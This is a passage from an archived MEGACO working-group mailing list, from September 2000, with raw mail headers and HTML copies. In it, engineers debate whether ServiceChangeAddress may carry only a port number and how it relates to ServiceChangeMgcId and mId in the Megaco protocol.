<br><font size=-1>> > > > ServiceChangeAddress, but</font>
<br><font size=-1>> > > > > we may be beyond that. Does it make sense to
allow just a</font>
<br><font size=-1>> > > > port number then ?</font>
<br><font size=-1>> > > > > Considering that we already allow for port
in mId, port is</font>
<br><font size=-1>> > > > part of the name</font>
<br><font size=-1>> > > > > and for the same reasons as we shouldn't map
one IP-address</font>
<br><font size=-1>> > > > to another, we</font>
<br><font size=-1>> > > > > shouldn't map one port to another either IMO.
If the MGC</font>
<br><font size=-1>> > > > (or MG) wants the</font>
<br><font size=-1>> > > > > other party to talk to it on another port,
it simply sends</font>
<br><font size=-1>> > > > back another</font>
<br><font size=-1>> > > > > ServiceChangeMGCId with that port number in
it.</font>
<br><font size=-1>> > > > ></font>
<br><font size=-1>> > > > > -- Flemming</font>
<br><font size=-1>> > > > ></font>
<br><font size=-1>> > > > > "Rosen, Brian" wrote:</font>
<br><font size=-1>> > > > ></font>
<br><font size=-1>> > > > > > It depends on what you want to have happen.</font>
<br><font size=-1>> > > > > ></font>
<br><font size=-1>> > > > > > If you want the MG, on receipt of a reply
with a</font>
<br><font size=-1>> > > > ServiceChangeAddress,</font>
<br><font size=-1>> > > > > > to tear down it's current transport connection,
create</font>
<br><font size=-1>> > > a new one,</font>
<br><font size=-1>> > > > > > and stand by for messages from the MGC, then
I suppose</font>
<br><font size=-1>> > > > you would be</font>
<br><font size=-1>> > > > > > correct.</font>
<br><font size=-1>> > > > > ></font>
<br><font size=-1>> > > > > > If it was TCP (and I guess SCTP), this is
pretty weird,</font>
<br><font size=-1>> > > > because the</font>
<br><font size=-1>> > > > > > MG established a full duplex connection,
but the</font>
<br><font size=-1>> next message is</font>
<br><font size=-1>> > > > > > almost certainly from the MGC.&nbsp; The
MGC is going to have</font>
<br><font size=-1>> > > > to watch for</font>
<br><font size=-1>> > > > > > this carefully, and not send messages until
the new</font>
<br><font size=-1>> > > channel is up.</font>
<br><font size=-1>> > > > > ></font>
<br><font size=-1>> > > > > > Or, the MGC can just use ServiceChangeMid.&nbsp;
The MG will</font>
<br><font size=-1>> > > respond by</font>
<br><font size=-1>> > > > > > tearing down the transport, establishing
a new one,</font>
<br><font size=-1>> and sending</font>
<br><font size=-1>> > > > > > a new ServiceChange.&nbsp; The MGC "fires
and forgets" -- the new</font>
<br><font size=-1>> > > > > > ServiceChange, at the "new" address, looks
like a</font>
<br><font size=-1>> > > > complete new start.</font>
<br><font size=-1>> > > > > ></font>
<br><font size=-1>> > > > > > Brian</font>
<br><font size=-1>> > > > > ></font>
<br><font size=-1>> > > > > > -----Original Message-----</font>
<br><font size=-1>> > > > > > From: Christian Groves</font>
<br><font size=-1>> > > > > > To: MEGACO@STANDARDS.NORTELNETWORKS.COM</font>
<br><font size=-1>> > > > > > Sent: 9/3/00 7:38 PM</font>
<br><font size=-1>> > > > > > Subject: Re: Supplying only a port on a ServiceChangeAddress</font>
<br><font size=-1>> > > > > ></font>
<br><font size=-1>> > > > > > G'Day Brian and Flemming,</font>
<br><font size=-1>> > > > > ></font>
<br><font size=-1>> > > > > > I saw that the difference between when you
use</font>
<br><font size=-1>> > > > ServiceChangeAddress and</font>
<br><font size=-1>> > > > > > ServiceChangeMid was that the ServiceChangeAddress
was</font>
<br><font size=-1>> > > > used when talking</font>
<br><font size=-1>> > > > > > to an already contacted physical MGC. The</font>
<br><font size=-1>> > > > ServiceChangeMid was used to</font>
<br><font size=-1>> > > > > > contact a physically seperate MGC. So I don't
see</font>
<br><font size=-1>> the need of</font>
<br><font size=-1>> > > > > > disallowing anything but the port in IP as
the MGC may</font>
<br><font size=-1>> > > > have a range of</font>
<br><font size=-1>> > > > > > addresses.</font>
<br><font size=-1>> > > > > ></font>
<br><font size=-1>> > > > > > Cheers, Christian</font>
<br><font size=-1>> > > > > ></font>
<br><font size=-1>> > > > > > "Rosen, Brian" wrote:</font>
<br><font size=-1>> > > > > > ></font>
<br><font size=-1>> > > > > > > I thought you might say that, I've been
thinking about it</font>
<br><font size=-1>> > > > > > > since I sent the message.</font>
<br><font size=-1>> > > > > > ></font>
<br><font size=-1>> > > > > > > Posing the question slightly differently,
if the</font>
<br><font size=-1>> > > > ServiceChangeAddress</font>
<br><font size=-1>> > > > > > > can do what ServiceChangeMid can do, so
why have two</font>
<br><font size=-1>> > > mechanisms?</font>
<br><font size=-1>> > > > > > > The only difference would be the MGs actions.&nbsp;
If you used</font>
<br><font size=-1>> > > > > > > ServiceChangeAddress,</font>
<br><font size=-1>> > > > > > > the MG would not send a new ServiceChange
command to</font>
<br><font size=-1>> > > > the new address.</font>
<br><font size=-1>> > > > > > > If you used ServiceChangeMid, it would.&nbsp;
The end result</font>
<br><font size=-1>> > > > would be the</font>
<br><font size=-1>> > > > > > same.</font>
<br><font size=-1>> > > > > > ></font>
<br><font size=-1>> > > > > > > We can:</font>
<br><font size=-1>> > > > > > >&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;
Explicitly disallow ServiceChangeAddress from</font>
<br><font size=-1>> > > > being used to</font>
<br><font size=-1>> > > > > > >&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;
change anything but IP Port when</font>
<br><font size=-1>> used with IP</font>
<br><font size=-1>> > > > > > >&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;
Get rid of one of the two of them</font>
<br><font size=-1>> > > > > > ></font>
<br><font size=-1>> > > > > > > I favor the former, as that is easiest,
is most</font>
<br><font size=-1>> > > consistent with</font>
<br><font size=-1>> > > > > > > history, and makes the most sense to me.&nbsp;
I'll</font>
<br><font size=-1>> note that what</font>
<br><font size=-1>> > > > > > > we call ServiceChangeAddress used to be
"port".&nbsp; It got</font>
<br><font size=-1>> > > > > > > changed when we realized "port" wouldn't
make</font>
<br><font size=-1>> sense if it was</font>
<br><font size=-1>> > > > > > > not an IP transport.</font>
<br><font size=-1>> > > > > > ></font>
<br><font size=-1>> > > > > > > Brian</font>
<br><font size=-1>> > > > > > ></font>
<br><font size=-1>> > > > > > > > -----Original Message-----</font>
<br><font size=-1>> > > > > > > > From: Flemming Andreasen [<a href="mailto:fandreas@cisco.com">mailto:fandreas@cisco.com</a>]</font>
<br><font size=-1>> > > > > > > > Sent: Tuesday, August 29, 2000 7:37 PM</font>
<br><font size=-1>> > > > > > > > To: Rosen, Brian</font>
<br><font size=-1>> > > > > > > > Cc: MEGACO@STANDARDS.NORTELNETWORKS.COM</font>
<br><font size=-1>> > > > > > > > Subject: Re: Supplying only a port on
a</font>
<br><font size=-1>> ServiceChangeAddress</font>
<br><font size=-1>> > > > > > > ></font>
<br><font size=-1>> > > > > > > ></font>
<br><font size=-1>> > > > > > > ></font>
<br><font size=-1>> > > > > > > ></font>
<br><font size=-1>> > > > > > > > "Rosen, Brian" wrote:</font>
<br><font size=-1>> > > > > > > ></font>
<br><font size=-1>> > > > > > > > > I think the issue is that you can have
the same MGC</font>
<br><font size=-1>> > > > have multiple</font>
<br><font size=-1>> > > > > > > > > IP addresses.&nbsp; You accept the
association, but</font>
<br><font size=-1>> > > > change the address.</font>
<br><font size=-1>> > > > > > > > > Say, a pool of servers appearing to
be one MGC.</font>
<br><font size=-1>> > > > > > > ></font>
<br><font size=-1>> > > > > > > > I'm not sure I fully understand what
an</font>
<br><font size=-1>> association is then.</font>
<br><font size=-1>> > > > > > > > What's the</font>
<br><font size=-1>> > > > > > > > difference/relationship between the association</font>
<br><font size=-1>> > > > address and the</font>
<br><font size=-1>> > > > > > > > ServiceChangeMgcId (which may itself
contain an</font>
<br><font size=-1>> address or</font>
<br><font size=-1>> > > > > > indirectly</font>
<br><font size=-1>> > > > > > > > refer to a number of addresses through
DNS) ?</font>
<br><font size=-1>> > > > > > > ></font>
<br><font size=-1>> > > > > > > > -- Flemming</font>
<br><font size=-1>> > > > > > > ></font>
<br><font size=-1>> > > > > > > ></font>
<br><font size=-1>> > > > > > > > ></font>
<br><font size=-1>> > > > > > > > ></font>
<br><font size=-1>> > > > > > > > > Brian</font>
<br><font size=-1>> > > > > > > > ></font>
<br><font size=-1>> > > > > > > > > > -----Original Message-----</font>
<br><font size=-1>> > > > > > > > > > From: Flemming Andreasen [<a href="mailto:fandreas@cisco.com">mailto:fandreas@cisco.com</a>]</font>
<br><font size=-1>> > > > > > > > > > Sent: Tuesday, August 29, 2000 6:38
PM</font>
<br><font size=-1>> > > > > > > > > > To: Rosen, Brian</font>
<br><font size=-1>> > > > > > > > > > Cc: MEGACO@STANDARDS.NORTELNETWORKS.COM</font>
<br><font size=-1>> > > > > > > > > > Subject: Re: Supplying only a port
on a</font>
<br><font size=-1>> > > > ServiceChangeAddress</font>
<br><font size=-1>> > > > > > > > > ></font>
<br><font size=-1>> > > > > > > > > ></font>
<br><font size=-1>> > > > > > > > > ></font>
<br><font size=-1>> > > > > > > > > ></font>
<br><font size=-1>> > > > > > > > > > "Rosen, Brian" wrote:</font>
<br><font size=-1>> > > > > > > > > ></font>
<br><font size=-1>> > > > > > > > > > > Suppose all you want to specify
in a</font>
<br><font size=-1>> > > > ServiceChangeAddress</font>
<br><font size=-1>> > > > > > > > > > is a port number</font>
<br><font size=-1>> > > > > > > > > > > that is, the IP address doesn't
change, but the</font>
<br><font size=-1>> > > > port does.</font>
<br><font size=-1>> > > > > > > > > > ></font>
<br><font size=-1>> > > > > > > > > > > The ABNF sez:</font>
<br><font size=-1>> > > > > > > > > > > serviceChangeAddress =</font>
<br><font size=-1>> > > > ServiceChangeAddressToken EQUAL VALUE</font>
<br><font size=-1>> > > > > > > > > > ></font>
<br><font size=-1>> > > > > > > > > > > This is because it could be IP,
ATM, FR, MPLS....</font>
<br><font size=-1>> > > > > > > > > > ></font>
<br><font size=-1>> > > > > > > > > > > The example shows just a port number.</font>
<br><font size=-1>> > > > > > > > > ></font>
<br><font size=-1>> > > > > > > > > > Actually, I thought that's all that
would be</font>
<br><font size=-1>> > > > allowed in the</font>
<br><font size=-1>> > > > > > > > > > case of IP. If</font>
<br><font size=-1>> > > > > > > > > > not, how can it be within the "context
of the</font>
<br><font size=-1>> > > association</font>
<br><font size=-1>> > > > > > > > > > currently being</font>
<br><font size=-1>> > > > > > > > > > negotiated", and how would it then
relate to</font>
<br><font size=-1>> > > > ServiceChangeMgcId</font>
<br><font size=-1>> > > > > > ?</font>
<br><font size=-1>> > > > > > > > > ></font>
<br><font size=-1>> > > > > > > > > > -- Flemming</font>
<br><font size=-1>> > > > > > > > > ></font>
<br><font size=-1>> > > > > > > > > > ></font>
<br><font size=-1>> > > > > > > > > > ></font>
<br><font size=-1>> > > > > > > > > > > Should that be legal?&nbsp; Should
you have to</font>
<br><font size=-1>> > > specify the IP</font>
<br><font size=-1>> > > > > > address</font>
<br><font size=-1>> > > > > > > > > > > as x.x.x.x:p?</font>
<br><font size=-1>> > > > > > > > > > ></font>
<br><font size=-1>> > > > > > > > > > > Brian</font>
<br><font size=-1>> > > > > > > > > ></font>
<br><font size=-1>> > > > > > > > > > --</font>
<br><font size=-1>> > > > > > > > > > Flemming Andreasen</font>
<br><font size=-1>> > > > > > > > > > Cisco Systems</font>
<br><font size=-1>> > > > > > > > > ></font>
<br><font size=-1>> > > > > > > > > ></font>
<br><font size=-1>> > > > > > > ></font>
<br><font size=-1>> > > > > > > > --</font>
<br><font size=-1>> > > > > > > > Flemming Andreasen</font>
<br><font size=-1>> > > > > > > > Cisco Systems</font>
<br><font size=-1>> > > > > > > ></font>
<br><font size=-1>> > > > > > > ></font>
<br><font size=-1>> > > > ></font>
<br><font size=-1>> > > > > --</font>
<br><font size=-1>> > > > > Flemming Andreasen</font>
<br><font size=-1>> > > > > Cisco Systems</font>
<br><font size=-1>> > > ></font>
<br><font size=-1>> > > > --</font>
<br><font size=-1>> > > > Flemming Andreasen</font>
<br><font size=-1>> > > > Cisco Systems</font>
<br><font size=-1>> > > ></font>
<br><font size=-1>> > ></font>
<br><font size=-1>></font>
<br><font size=-1>> --</font>
<br><font size=-1>> Flemming Andreasen</font>
<br><font size=-1>> Cisco Systems</font>
<br><font size=-1>></font>
<br><font size=-1>></font>
<br><font size=-1>></font></blockquote>
</blockquote>

<p>--
<br>Flemming Andreasen
<br>Cisco Systems
<br>&nbsp;</html>

--------------993D4CEA120F523706A10DEA--


From owner-megaco@STANDARDS.NORTELNETWORKS.COM  Wed Sep  6 16:03:08 2000
Received: from standards.nortelnetworks.com (h16s32a234n47.user.nortelnetworks.com [47.234.32.16])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id QAA22067
	for <megaco-archive@LISTS.IETF.ORG>; Wed, 6 Sep 2000 16:03:07 -0400 (EDT)
Received: from standards (47.234.32.16:2279) by standards.nortelnetworks.com (LSMTP for Windows NT v1.1b) with SMTP id <0.FFB90E13@standards.nortelnetworks.com>; Wed, 6 Sep 2000 15:47:41 -0400
Received: from STANDARDS.NORTELNETWORKS.COM by STANDARDS.NORTELNETWORKS.COM
          (LISTSERV-TCP/IP release 1.8d) with spool id 20970 for
          MEGACO@STANDARDS.NORTELNETWORKS.COM; Wed, 6 Sep 2000 15:47:41 -0400
Received: from mailman.cisco.com by standards.nortelnetworks.com (LSMTP for
          Windows NT v1.1b) with SMTP id
          <0.FFB90E12@standards.nortelnetworks.com>; Wed, 6 Sep 2000 15:47:40
          -0400
Received: from cisco.com (ssh.cisco.com [171.69.10.34]) by mailman.cisco.com
          (8.9.3/8.9.1) with ESMTP id NAA25570; Wed, 6 Sep 2000 13:00:31 -0700
          (PDT)
X-Mailer: Mozilla 4.72 [en] (WinNT; I)
X-Accept-Language: en
MIME-Version: 1.0
References: <28560036253BD41191A10000F8BCBD11480D34@zcard00g.ca.nortel.com>
Content-Type: multipart/alternative;
              boundary="------------0729839C4AC5E45BCD51E25C"
Message-ID:  <39B6A369.BC9B2AB2@cisco.com>
Date:         Wed, 6 Sep 2000 16:04:57 -0400
Reply-To: Flemming Andreasen <fandreas@CISCO.COM>
Sender: "Media Gateway Control (megaco)"              <MEGACO@STANDARDS.NORTELNETWORKS.COM>
From: Flemming Andreasen <fandreas@CISCO.COM>
Organization: Cisco Systems
Subject:      Re: Supplying only a port on a ServiceChangeAddress
X-To:         Tom-PT Taylor <taylor@nortelnetworks.com>
X-cc:         "Rosen, Brian" <Brian.Rosen@marconi.com>,
              Bharat Kaul <bharat@TRILLIUM.COM>
To: MEGACO@STANDARDS.NORTELNETWORKS.COM

--------------0729839C4AC5E45BCD51E25C
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit



Tom-PT Taylor wrote:

>
>
> OK, we have three choices:
> (a) deprecate use of ServiceChangeAddress in favour of
> ServiceChangeMgcId (and assume it is never used by the MG)

Yes, please!

>
> (b) allow specification of port only, with the parser able to
> distinguish from other forms because of the lack of punctuation (seems
> feasible)

Acceptable

>
>
> (c) require that the full address be specified.

No.

>
>
> (b) is basically the current situation, with a note in the
> Implementor's Guide to warn that the contents may consist of a bare
> port number and specifying that in that case the IP address to be used
> is the same as the address to which the receiver of the
> ServiceChangeAddress is currently sending its requests.

Almost - the address is whatever is currently used as
ServiceChangeMGCId. Note, that this may in fact be multiple addresses in
case you have a domain-name mapping to multiple addresses. Also, it
should be clarified that the port in the mID is then really not a port,
but simply a local identifier.

-- Flemming

>
>
> > -----Original Message-----
> > From: Rosen, Brian [mailto:Brian.Rosen@marconi.com]
> > Sent: Wednesday, September 06, 2000 2:16 PM
> > To: Taylor, Tom-PT [NORSE:B901:EXCH]; 'Flemming Andreasen';
> > Bharat Kaul
> > Cc: megaco@standards.nortelnetworks.com
> > Subject: RE: Supplying only a port on a ServiceChangeAddress
> >
> >
> > One more thing:
> > >The ABNF syntax of ServiceChangeAddress is VALUE, which permits
> > >designation of a port only within a quoted string.  The
> > >difference between this and the ASN.1 syntax is what started this
> > >whole thread, but is irrelevant because the functionality is
> > >still available.
> >
> > Value allows 1*(SafeChar), which would permit a port number (no
> > punctuation).  One system did exactly that at the Interop
> > event.  Either we
> > have to allow that, or explicitly disallow it.
> >
> > Brian
> >

--
Flemming Andreasen
Cisco Systems


--------------0729839C4AC5E45BCD51E25C
Content-Type: text/html; charset=us-ascii
Content-Transfer-Encoding: 7bit

<!doctype html public "-//w3c//dtd html 4.0 transitional//en">
<html>
&nbsp;
<p>Tom-PT Taylor wrote:
<blockquote TYPE=CITE>&nbsp;
<p><font size=-1>OK, we have three choices:</font>
<br><font size=-1>(a) deprecate use of ServiceChangeAddress in favour of
ServiceChangeMgcId (and assume it is never used by the MG)</font></blockquote>
Yes, please!
<blockquote TYPE=CITE><font size=-1></font>&nbsp;
<br><font size=-1>(b) allow specification of port only, with the parser
able to distinguish from other forms because of the lack of punctuation
(seems feasible)</font></blockquote>
Acceptable
<blockquote TYPE=CITE><font size=-1></font>&nbsp;
<p><font size=-1>(c) require that the full address be specified.</font></blockquote>
No.
<blockquote TYPE=CITE><font size=-1></font>&nbsp;
<p><font size=-1>(b) is basically the current situation, with a note in
the Implementor's Guide to warn that the contents may consist of a bare
port number and specifying that in that case the IP address to be used
is the same as the address to which the receiver of the ServiceChangeAddress
is currently sending its requests.</font></blockquote>
Almost - the address is whatever is currently used as ServiceChangeMGCId.
Note, that this may in fact be multiple addresses in case you have a domain-name
mapping to multiple addresses. Also, it should be clarified that the port
in the mID is then really not a port, but simply a local identifier.
<p>-- Flemming
<blockquote TYPE=CITE><font size=-1></font>&nbsp;
<p><font size=-1>> -----Original Message-----</font>
<br><font size=-1>> From: Rosen, Brian [<a href="mailto:Brian.Rosen@marconi.com">mailto:Brian.Rosen@marconi.com</a>]</font>
<br><font size=-1>> Sent: Wednesday, September 06, 2000 2:16 PM</font>
<br><font size=-1>> To: Taylor, Tom-PT [NORSE:B901:EXCH]; 'Flemming Andreasen';</font>
<br><font size=-1>> Bharat Kaul</font>
<br><font size=-1>> Cc: megaco@standards.nortelnetworks.com</font>
<br><font size=-1>> Subject: RE: Supplying only a port on a ServiceChangeAddress</font>
<br><font size=-1>></font>
<br><font size=-1>></font>
<br><font size=-1>> One more thing:</font>
<br><font size=-1>> >The ABNF syntax of ServiceChangeAddress is VALUE,
which permits</font>
<br><font size=-1>> >designation of a port only within a quoted string.&nbsp;
The</font>
<br><font size=-1>> >difference between this and the ASN.1 syntax is what
started this</font>
<br><font size=-1>> >whole thread, but is irrelevant because the functionality
is</font>
<br><font size=-1>> >still available.</font>
<br><font size=-1>></font>
<br><font size=-1>> Value allows 1*(SafeChar), which would permit a port
number (no</font>
<br><font size=-1>> punctuation).&nbsp; One system did exactly that at
the Interop</font>
<br><font size=-1>> event.&nbsp; Either we</font>
<br><font size=-1>> have to allow that, or explicitly disallow it.</font>
<br><font size=-1>></font>
<br><font size=-1>> Brian</font>
<br><font size=-1>></font></blockquote>

<p>--
<br>Flemming Andreasen
<br>Cisco Systems
<br>&nbsp;</html>

--------------0729839C4AC5E45BCD51E25C--


From owner-megaco@STANDARDS.NORTELNETWORKS.COM  Wed Sep  6 16:22:27 2000
Received: from standards.nortelnetworks.com (h16s32a234n47.user.nortelnetworks.com [47.234.32.16])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id QAA22431
	for <megaco-archive@LISTS.IETF.ORG>; Wed, 6 Sep 2000 16:22:24 -0400 (EDT)
Received: from standards (47.234.32.16:2279) by standards.nortelnetworks.com (LSMTP for Windows NT v1.1b) with SMTP id <0.FFB90E3B@standards.nortelnetworks.com>; Wed, 6 Sep 2000 16:07:31 -0400
Received: from STANDARDS.NORTELNETWORKS.COM by STANDARDS.NORTELNETWORKS.COM
          (LISTSERV-TCP/IP release 1.8d) with spool id 21022 for
          MEGACO@STANDARDS.NORTELNETWORKS.COM; Wed, 6 Sep 2000 16:07:31 -0400
Received: from mailman.cisco.com by standards.nortelnetworks.com (LSMTP for
          Windows NT v1.1b) with SMTP id
          <0.FFB90E3A@standards.nortelnetworks.com>; Wed, 6 Sep 2000 16:07:30
          -0400
Received: from cisco.com (ssh.cisco.com [171.69.10.34]) by mailman.cisco.com
          (8.9.3/8.9.1) with ESMTP id NAA04904; Wed, 6 Sep 2000 13:20:26 -0700
          (PDT)
X-Mailer: Mozilla 4.72 [en] (WinNT; I)
X-Accept-Language: en
MIME-Version: 1.0
References: <4FBEA8857476D311A03300204840E1CF678815@whq-msgusr-02.pit.comms.marconi.com> <39B6A22E.9DE4A6B6@cisco.com>
            <39B6A3FE.AA9596D6@americasm01.nt.com>
Content-Type: multipart/alternative;
              boundary="------------47196E720CE8B21DE7644E91"
Message-ID:  <39B6A814.2A4F9A29@cisco.com>
Date:         Wed, 6 Sep 2000 16:24:52 -0400
Reply-To: Flemming Andreasen <fandreas@CISCO.COM>
Sender: "Media Gateway Control (megaco)"              <MEGACO@STANDARDS.NORTELNETWORKS.COM>
From: Flemming Andreasen <fandreas@CISCO.COM>
Organization: Cisco Systems
Subject:      Re: Supplying only a port on a ServiceChangeAddress
X-To:         Kevin Boyle <kboyle@nortelnetworks.com>
To: MEGACO@STANDARDS.NORTELNETWORKS.COM

--------------47196E720CE8B21DE7644E91
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit



Kevin Boyle wrote:

> Flemming Andreasen wrote:
>
>>
>>
>> "Rosen, Brian" wrote:
>>
>> >
>> >
>> >      OK, I'd say we have consensus on the following:
>> >
>> >      (1) As oft repeated, the mId designates a peer in a
>> >      control session.  It does not change even if the
>> >      addresses used in the session change.  Different port
>> >      addresses could be used to designate different virtual
>> >      MGs, but this is a local implementation issue.
>> >
>> >      I'm assuming here that you mean mId, the thing that goes
>> >      in every message, and that there is no arbitrary changing
>> >      of it - changes get signalled in ServiceChange.  mId
>> >      serves to identify which association this message refers
>> >      to.  Given those caveats, I agree.
>> >
>>
>> I agree too (but with some assumptions as to when and how that
>> address can change)
>>
>> >
>> >
>> >      (2) ServiceChangeAddress can be used to change the
>> >      address to which the peer sends requests within the
>> >      existing control session.  The ABNF syntax of
>> >      ServiceChangeAddress is VALUE, which permits designation
>> >      of a port only within a quoted string.  The difference
>> >      between this and the ASN.1 syntax is what started this
>> >      whole thread, but is irrelevant because the functionality
>> >      is still available.  There is the legitimate question of
>> >      whether the ServiceChangeAddress functionality is
>> >      needed.  I'm not sure I have consensus to deprecate use
>> >      of ServiceChangeAddress.
>> >
>> >      I'd like to see if we could develop a consensus, but I
>> >      can live with it.
>> >
>> I say we dump it. If that's unacceptable, we restrict it to port
>> numbers only (for IP transport) - no IP addresses here please.
>>
>> >
>> >
>> >      I'm still concerned about the difficulty of changing
>> >      address, or port, with TCP transport.  We need at least a
>> >      note of caution in the Implementers Guide.
>> >
>> >      (3) ServiceChangeMGgcId is used to redirect the control
>> >      session.  The ABNF type of ServiceChangeMgcId is MId,
>> >      which presumably is why MId is so carefully developed as
>> >      an address.
>> >
>> >      Yes!
>> >
>> Agree
>>
>> >
>> >
>> >      There is an open issue regarding TCP.  That is, is
>> >      everyone prepared to accept the restriction Bharat wants
>> >      to place on TCP, to the effect that the MG is never a
>> >      listener?
>> >
>> >      Yes!
>> >
>>
>> Given the current protocol specification/operation that seems
>> reasonable. If we were to accept ServiceChange initiated from the
>> MGC, it would obviously change.
>>
>
> ServiceChange *can* be initiated by the MGC.  Section 11.5 talks about
> exactly this scenario in the "Handoff" case.
>

Sorry - I meant control association establishment

-- Flemming

--
Flemming Andreasen
Cisco Systems


--------------47196E720CE8B21DE7644E91
Content-Type: text/html; charset=us-ascii
Content-Transfer-Encoding: 7bit

<!doctype html public "-//w3c//dtd html 4.0 transitional//en">
<html>
<body text="#000000" bgcolor="#FFFFFF" link="#0000FF" vlink="#FF0000" alink="#000088">
&nbsp;
<p>Kevin Boyle wrote:
<blockquote TYPE=CITE>Flemming Andreasen wrote:
<blockquote TYPE=CITE>&nbsp;
<p>"Rosen, Brian" wrote:
<blockquote TYPE=CITE>&nbsp;
<blockquote
style="BORDER-LEFT: #0000ff 2px solid; MARGIN-LEFT: 5px; MARGIN-RIGHT: 0px; PADDING-LEFT: 5px"><font size=-1>OK,
I'd say we have consensus on the following:</font>
<p><font size=-1>(1) As oft repeated, the mId designates a peer in a control
session.&nbsp; It does not change even if the addresses used in the session
change.&nbsp; Different port addresses could be used to designate different
virtual MGs, but this is a local implementation issue.</font><span class=730190518-06092000></span>
<p><span
  class=730190518-06092000><font face="Arial"><font color="#0000FF"><font size=-1>I'm
assuming here that you mean mId, the thing that goes in every message,
and that there is no arbitrary changing of it - changes get signalled in
ServiceChange.&nbsp; mId serves to identify which association this message
refers to.&nbsp; Given those caveats</span><span
  class=730190518-06092000>,
I agree.&nbsp;</font></font></font></span></blockquote>
</blockquote>

<p><br>I agree too (but with some assumptions as to when and how that address
can change)
<blockquote TYPE=CITE>
<blockquote
style="BORDER-LEFT: #0000ff 2px solid; MARGIN-LEFT: 5px; MARGIN-RIGHT: 0px; PADDING-LEFT: 5px">&nbsp;
<p><font size=-1>(2) ServiceChangeAddress can be used to change the address
to which the peer sends requests within the existing control session.&nbsp;
The ABNF syntax of ServiceChangeAddress is VALUE, which permits designation
of a port only within a quoted string.&nbsp; The difference between this
and the ASN.1 syntax is what started this whole thread, but is irrelevant
because the functionality is still available.&nbsp; There is the legitimate
question of whether the ServiceChangeAddress functionality is needed.&nbsp;
I'm not sure I have consensus to deprecate use of ServiceChangeAddress.</font><span class=730190518-06092000></span>
<p><span
  class=730190518-06092000><font face="Arial"><font color="#0000FF"><font size=-1>I'd
like to see if we could develop a consensus, but I can live with it.</font></font></font></span></blockquote>
</blockquote>
I say we dump it. If that's unacceptable, we restrict it to port numbers
only (for IP transport) - no IP addresses here please.
<blockquote TYPE=CITE>
<blockquote
style="BORDER-LEFT: #0000ff 2px solid; MARGIN-LEFT: 5px; MARGIN-RIGHT: 0px; PADDING-LEFT: 5px">&nbsp;
<p><span class=730190518-06092000><font face="Arial"><font color="#0000FF"><font size=-1>I'm
still concerned about the difficulty of changing address, or port, with
TCP transport.&nbsp; We need at least a note of caution in the Implementers
Guide.</font></font></font></span>
<p><font size=-1>(3) ServiceChangeMGgcId is used to redirect the control
session.&nbsp; The ABNF type of ServiceChangeMgcId is MId, which presumably
is why MId is so carefully developed as an address.</font><span class=730190518-06092000></span>
<p><span
  class=730190518-06092000><font face="Arial"><font color="#0000FF"><font size=-1>Yes!&nbsp;</font></font></font></span></blockquote>
</blockquote>
Agree
<blockquote TYPE=CITE>
<blockquote
style="BORDER-LEFT: #0000ff 2px solid; MARGIN-LEFT: 5px; MARGIN-RIGHT: 0px; PADDING-LEFT: 5px">&nbsp;
<p><font size=-1>There is an open issue regarding TCP.&nbsp; That is, is
everyone prepared to accept the restriction Bharat wants to place on TCP,
to the effect that the MG is never a listener?</font><span class=730190518-06092000></span>
<p><span
  class=730190518-06092000><font face="Arial"><font color="#0000FF"><font size=-1>Yes!</font></font></font></span></blockquote>
</blockquote>

<p><br>Given the current protocol specification/operation that seems reasonable.
If we were to accept ServiceChange initiated from the MGC, it would obviously
change.
<br>&nbsp;</blockquote>
ServiceChange *can* be initiated by the MGC.&nbsp; Section 11.5 talks about
exactly this scenario in the "Handoff" case.
<br>&nbsp;</blockquote>
Sorry - I meant control association establishment
<p>-- Flemming
<p>--
<br>Flemming Andreasen
<br>Cisco Systems
<br>&nbsp;
</body>
</html>

--------------47196E720CE8B21DE7644E91--


From owner-megaco@STANDARDS.NORTELNETWORKS.COM  Wed Sep  6 16:37:15 2000
Received: from standards.nortelnetworks.com (h16s32a234n47.user.nortelnetworks.com [47.234.32.16])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id QAA22875
	for <megaco-archive@LISTS.IETF.ORG>; Wed, 6 Sep 2000 16:37:14 -0400 (EDT)
Received: from standards (47.234.32.16:2034) by standards.nortelnetworks.com (LSMTP for Windows NT v1.1b) with SMTP id <0.FFB90E64@standards.nortelnetworks.com>; Wed, 6 Sep 2000 16:22:24 -0400
Received: from STANDARDS.NORTELNETWORKS.COM by STANDARDS.NORTELNETWORKS.COM
          (LISTSERV-TCP/IP release 1.8d) with spool id 21075 for
          MEGACO@STANDARDS.NORTELNETWORKS.COM; Wed, 6 Sep 2000 16:22:24 -0400
Received: from qhars002.nortel.com (47.101.112.102:48269) by
          standards.nortelnetworks.com (LSMTP for Windows NT v1.1b) with SMTP
          id <0.FFB90E63@standards.nortelnetworks.com>; Wed, 6 Sep 2000
          16:22:23 -0400
Received: from smtprch1.nortel.com (actually erchg0j) by qhars002.nortel.com;
          Wed, 6 Sep 2000 21:35:08 +0100
Received: from zrchb213.us.nortel.com (actually zrchb213) by
          smtprch1.nortel.com; Wed, 6 Sep 2000 15:09:51 -0500
Received: from zrtpd00x.us.nortel.com ([47.140.224.108]) by
          zrchb213.us.nortel.com with SMTP (Microsoft Exchange Internet Mail
          Service Version 5.5.2652.39) id R5FDA2A8; Wed, 6 Sep 2000 15:07:26
          -0500
Received: from americasm01.nt.com (brtphe34.us.nortel.com [47.202.35.89]) by
          zrtpd00x.us.nortel.com with SMTP (Microsoft Exchange Internet Mail
          Service Version 5.5.2652.39) id SG17FRXS; Wed, 6 Sep 2000 16:07:26
          -0400
X-Mailer: Mozilla 4.72 [en] (X11; U; HP-UX B.10.20 9000/778)
X-Accept-Language: en
MIME-Version: 1.0
References: <4FBEA8857476D311A03300204840E1CF678815@whq-msgusr-02.pit.comms.marconi.com>
            <39B6A22E.9DE4A6B6@cisco.com>
Content-Type: text/html; charset=us-ascii
Content-Transfer-Encoding: 7bit
Message-ID:  <39B6A3FE.AA9596D6@americasm01.nt.com>
Date:         Wed, 6 Sep 2000 16:07:27 -0400
